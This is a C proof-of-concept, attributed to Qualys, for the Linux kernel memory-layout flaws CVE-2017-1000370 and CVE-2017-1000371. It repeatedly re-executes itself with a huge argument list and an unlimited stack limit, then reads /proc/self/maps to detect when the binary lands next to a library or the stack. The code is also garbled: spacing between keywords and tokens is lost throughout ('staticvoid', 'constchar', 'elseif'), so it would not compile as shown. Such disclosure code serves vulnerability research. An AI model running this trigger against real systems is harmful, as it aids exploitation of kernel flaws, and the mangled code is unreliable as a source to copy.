/*
* Linux_offset2lib.c for CVE-2017-1000370 and CVE-2017-1000371
* Copyright (C) 2017 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/#include<errno.h>#include<fcntl.h>#include<limits.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<sys/resource.h>#include<sys/stat.h>#include<sys/time.h>#include<sys/types.h>#include<sys/wait.h>#include<unistd.h>#define die() do { \
fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)#define MAX_STACK_SIZE ((size_t)1<<30)#define MAX_ARG_STRLEN ((size_t)128<<10)#define MIN_ARGC 1024staticvoidanalyze_mappings(constchar*const binary){if(!binary)die();if(strchr(binary,' '))die();int rval = EXIT_FAILURE;int dump =0;constint fd =open("/proc/self/maps", O_RDONLY);if(fd <=-1)die();staticchar buf[4096]=" ";char* cp = buf;for(;;){if(cp >= buf +sizeof(buf))die();const ssize_t nr =read(fd, cp, buf +sizeof(buf)- cp);if(nr <=0){if(nr ==0)break;if(nr !=-1)die();if(errno != EAGAIN && errno != EINTR)die();continue;}
cp += nr;}*cp ='\0';if(memchr(buf,'\0',sizeof(buf))!= cp)die();
size_t hi_bin =0;
size_t lo_lib =0;
size_t lo_heap =0;
size_t lo_stack =0;constchar* line = buf;for(;;){char*const nl =strchr(line,'\n');if(!nl)die();*nl ='\0';
cp =NULL;const size_t lo =strtoul(line,&cp,16);if(cp <= line ||*cp !='-')die();if(lo <=0)die();
line = cp +1;
cp =NULL;const size_t hi =strtoul(line,&cp,16);if(cp <= line ||*cp !=' ')die();if(hi <= lo)die();
cp =strrchr(cp +1,' ');if(!cp)die();
cp++;if(!strcmp(cp, binary)){
hi_bin = hi;if(lo ==0x08048000){fprintf(stderr,"Please recompile with -fpie -pie\n");die();}}elseif(!strcmp(cp,"[heap]")){if(!lo_heap) lo_heap = lo;else{if(lo_stack)die();
lo_stack = lo;
dump =1;}}elseif(!strcmp(cp,"[stack]")){if(!lo_stack) lo_stack = lo;else{die();}}elseif(*cp =='/'){if(!lo_lib) lo_lib = lo;}*nl ='\n';
line = nl +1;if(*line =='\0')break;}if(!hi_bin)die();if(!lo_lib)die();if(!lo_stack){if(!lo_heap)die();
lo_stack = lo_heap;
lo_heap =0;}if(hi_bin <= lo_lib && lo_lib - hi_bin <=4096){fprintf(stderr,"CVE-2017-1000370 triggered\n");
rval = EXIT_SUCCESS;
dump =1;}if(hi_bin <= lo_stack && lo_stack - hi_bin <=4096){fprintf(stderr,"CVE-2017-1000371 triggered\n");
rval = EXIT_SUCCESS;
dump =1;}if(dump){const ssize_t len =strlen(buf);if(len <=0)die();if(write(STDERR_FILENO, buf, len)!= len)die();}if(close(fd))die();exit(rval);}intmain(constint my_argc,constchar*const my_argv[]){if(my_argc >= MIN_ARGC){analyze_mappings(*my_argv);die();}
size_t stack_size = MAX_STACK_SIZE;if(my_argc ==2) stack_size =strtoul(my_argv[1],NULL,0);elseif(my_argc !=1)die();if(stack_size > MAX_STACK_SIZE)die();staticchar arg[MAX_ARG_STRLEN]=" ";memset(arg,' ',sizeof(arg)-1);const size_t argc =1+ stack_size /(sizeof(arg)+sizeof(char*));if(argc < MIN_ARGC)die();char**const argv =calloc(argc +1,sizeof(char*));if(!argv)die();char*const binary =realpath(*my_argv,NULL);if(!binary)die();*argv = binary;
size_t i;for(i =1; i < argc; i++) argv[i]= arg;if(i != argc)die();if(argv[i])die();for(i =1; i; i++){fprintf(stderr,"Run #%zu...\n", i);const pid_t pid =fork();if(pid <=-1)die();if(pid ==0){staticconststruct rlimit stack_limit ={ RLIM_INFINITY, RLIM_INFINITY };if(setrlimit(RLIMIT_STACK,&stack_limit))die();execve(*argv, argv,NULL);die();}int status =0;if(waitpid(pid,&status, WUNTRACED)!= pid)die();if(!WIFEXITED(status))die();if(WEXITSTATUS(status)== EXIT_SUCCESS)continue;if(WEXITSTATUS(status)!= EXIT_FAILURE)die();}die();}